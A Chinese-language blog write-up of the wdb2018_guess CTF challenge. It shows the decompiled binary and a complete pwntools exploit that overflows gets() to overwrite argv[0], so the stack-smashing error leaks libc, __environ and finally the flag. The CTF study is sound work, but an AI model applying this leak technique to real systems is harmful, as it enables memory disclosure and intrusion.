wdb2018_guess--canary报错利用

D0wnBe@t Lv4

修改argv[0],使canary报错时泄露信息

题目链接

参考文章

知识点:

1.canary报错的利用,熟悉报错的参数是什么

2.__environ环境变量

1.ida速览

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch] BYREF
__int64 v6; // [rsp+20h] [rbp-80h]
__int64 v7; // [rsp+28h] [rbp-78h]
char buf[48]; // [rsp+30h] [rbp-70h] BYREF
char s2[56]; // [rsp+60h] [rbp-40h] BYREF
unsigned __int64 v10; // [rsp+98h] [rbp-8h]

v10 = __readfsqword(0x28u);
v7 = 3LL;
LODWORD(stat_loc.__uptr) = 0;
v6 = 0LL;
sub_4009A6(a1, a2, a3);
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0);
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
perror("./flag.txt");
_exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), buf, 0x30uLL);
close(SHIDWORD(stat_loc.__iptr));
puts("This is GUESS FLAG CHALLENGE!");
while ( 1 )
{
if ( v6 >= v7 )
{
puts("you have no sense... bye :-) ");
return 0LL;
}
if ( !(unsigned int)sub_400A11() ) // 此处创建子进程
break;
++v6;
wait((__WAIT_STATUS)&stat_loc);
}
puts("Please type your guessing flag");
gets(s2); // 明显的栈溢出
if ( !strcmp(buf, s2) )
puts("You must have great six sense!!!! :-o ");
else
puts("You should take more effort to get six sence, and one more challenge!!");
return 0LL;
}
  • 是可以发现有三次fork创建子进程的,说明我们可以利用三次canary报错

  • 为什么想到这个,是因为我们没有其他的输出的可以利用,所以想到这个。

  • 大致的思路就是通过泄露flag在栈上的地址,然后通过canary报错输出出来,具体看下面的实现.

2.gdb调试

首先要patchelf,将环境改为glibc2.24,不然无法实现。

发现报错部分出现了程序的名字,那么这个是什么呢?这个其实就是argv[0],也就是说argv[0]会随着canary报错的时候输出出来,那如果我们将其改为某个函数的got表的内容,那是不是就可以输出其真实地址了,达到泄露libc的作用,下面来看看栈布局:

  • 这里可以很清楚的看到输入的地址和argv[0]相差0x128,我们通过栈溢出覆盖此处的地址为got表地址即可泄露libc

(1) 泄露Libc:

1
2
3
4
5
6
7
8
9
# step1 -- 泄漏栈地址
p.recvuntil("Please type your guessing flag\n")
puts_got = elf.got['puts']
payload = b'a'*0x128 + p64(puts_got)
#bug()
p.sendline(payload)
p.recvuntil('stack smashing detected ***:')
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success("puts_address : " + hex(puts_addr))
  • 看看实际效果

(2)通过__environ泄露环境变量地址

关于__environ可以参考开头的文章

  • 光标处就是__environ的地址,很明显该地址是在栈上的,因此我们泄露出该地址,就可以获得栈地址了.

  • 发现flag的地址与__environ的地址差距0x168,因此将environ的地址泄露出来,再减去0x168就是flag的地址,然后通过同样的溢出,就可以泄露flag了.(该flag是我本地建立的,为了调试方便)
1
2
3
4
5
6
7
# step2 -- 泄漏flag地址
payload = cyclic(0x128) + p64(environ)
p.recvuntil("Please type your guessing flag\n")
p.sendline(payload)
p.recvuntil('stack smashing detected ***:')
buf = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x168
success('buf(flag)_address : '+hex(buf))

(3),泄露flag

直接看最后的EXP吧

3.最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from LibcSearcher3 import *
context(arch='amd64',log_level='debug')

p = process("./pwn")
#p = remote("node5.buuoj.cn",28532)
elf = ELF("./pwn")
def bug():
gdb.attach(p)
pause()

# 三次创建fork,相当于可以利用三次程序
# 第一次泄漏libc,第二次泄漏栈地址,第三次泄漏flag

# step1 -- 泄漏栈地址
p.recvuntil("Please type your guessing flag\n")
puts_got = elf.got['puts']
payload = b'a'*0x128 + p64(puts_got)

p.sendline(payload)

p.recvuntil('stack smashing detected ***:')
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success("puts_address : " + hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
environ = base + libc.dump('__environ') # 环境变量的地址

# step2 -- 泄漏flag地址
payload = cyclic(0x128) + p64(environ)
p.recvuntil("Please type your guessing flag\n")
p.sendline(payload)
p.recvuntil('stack smashing detected ***:')
buf = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x168
success('buf(flag)_address : '+hex(buf))

# step3 -- 打印出flag
payload = cyclic(0x128) + p64(buf)
p.recvuntil("Please type your guessing flag\n")
p.sendline(payload)
p.interactive()
  • 标题: wdb2018_guess--canary报错利用
  • 作者: D0wnBe@t
  • 创建于 : 2024-09-16 13:51:13
  • 更新于 : 2024-09-16 15:17:22
  • 链接: http://downbeat.top/2024/09/16/wdb2018-guess-canary报错利用/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论